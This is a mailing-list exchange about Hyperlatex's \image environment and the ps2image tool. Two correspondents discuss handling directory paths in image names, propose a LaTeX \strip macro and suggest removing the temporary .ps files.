(Obviously, I don't know the answer to any of these.)

> I would then even add code to ps2image to remove the .ps file.
> Who would ever need the .ps file?

Not me.

> Maybe, I do not understand the initial intention, but approximately that
> would be my suggestion to
> 1) Overcome the directory problem in the image environment and

How does this overcome this problem?  Doesn't it just make the
directory in the image environment impossible (rather than 
unsupported)?

> Hmmm, I cannot think of a quick solution to strip off the directory part
> with latex, but it should work somehow.

Well, you did come up with a nice solution.
But that wouldn't be necessary if the image name is replaced by a
counter, right?

Jay

Re: [hlx] \image and ps2image

[Ralf H. <hem...@ri...>]

Hello Jay,

> It would be easy enough to have ps2image create the necessary
> directory, but another problem is that file.ps will be created as
> ./dir/file.ps.  This would occur (in texfile.makeimage) before 
> ps2image is called, and if htmldirectory isn't ".", then the png file
> will be htmldir/dir/file.png.  So both directories ./dir and
> htmldir/dir would have to exist.  It would be nice if file.ps were just
> ./file.ps, but the ps file name is made by TeX based on the image name
> dir/file, and I don't know how to (reasonably) strip off the directory
> name in TeX.

Well, so let us convince the \endimage macro to generate only the 
filename (file.ps) instead of (dir/file.ps).

I have not incorporated it locally into my hyperlatex.sty but as you can 
see from the attachment, it should be enough to replace the line

\jobname.dvi\space>\space\im...@na...^^J%

in the \endimage macro by

\jobname.dvi\space>\space\strip{\im...@na...}^^J%

(of course after placing the \strip macro somewhere into the code).

Whether you include the .ps or write it behind } does not matter.
The only restriction of my \strip macro is, that filenames (including 
dirs) should not contain a semicolon (;) right after a slash (/). (I 
don't think that is a big restriction.)

Ah, and don't forget to convince ps2image to remove this temporary .ps file.

Hope that helps

Ralf

BTW, I still somehow favour an environment where I don't have to give a 
filename argument.